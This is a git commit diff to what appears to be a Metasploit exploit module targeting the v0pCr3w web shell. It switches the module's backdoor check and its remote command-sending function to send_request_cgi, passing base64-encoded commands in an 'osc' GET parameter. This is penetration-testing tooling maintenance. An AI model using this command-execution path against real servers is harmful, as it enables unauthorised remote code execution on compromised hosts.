Updated v0pCr3w_exec to use send_request_cgi
parent
5218831167
commit
a5346240de
|
@ -53,10 +53,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
uri = normalize_uri(datastore['URI'])
|
shell = send_request_cgi({
|
||||||
uri += "?lol=1"
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(datastore['URI']),
|
||||||
shell = send_request_raw({'uri' => uri}, 25)
|
'vars_get' => {
|
||||||
|
'lol' => '1'
|
||||||
|
}
|
||||||
|
})
|
||||||
if (shell and shell.body =~ /v0pCr3w\<br\>/ and shell.body =~ /\<br\>nob0dyCr3w/)
|
if (shell and shell.body =~ /v0pCr3w\<br\>/ and shell.body =~ /\<br\>nob0dyCr3w/)
|
||||||
return Exploit::CheckCode::Vulnerable
|
return Exploit::CheckCode::Vulnerable
|
||||||
end
|
end
|
||||||
|
@ -64,10 +67,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def http_send_command(cmd, opts = {})
|
def http_send_command(cmd, opts = {})
|
||||||
p = Rex::Text.uri_encode(Rex::Text.encode_base64(cmd))
|
p = Rex::Text.encode_base64(cmd)
|
||||||
uri = normalize_uri(datastore['URI'])
|
res = send_request_cgi({
|
||||||
uri += '?osc=' + p
|
'method' => 'GET',
|
||||||
res = send_request_raw({'uri' => uri}, 25)
|
'uri' => normalize_uri(datastore['URI']),
|
||||||
|
'vars_get' => {
|
||||||
|
'osc' => p
|
||||||
|
}
|
||||||
|
})
|
||||||
if not (res and res.code == 200)
|
if not (res and res.code == 200)
|
||||||
fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
|
fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue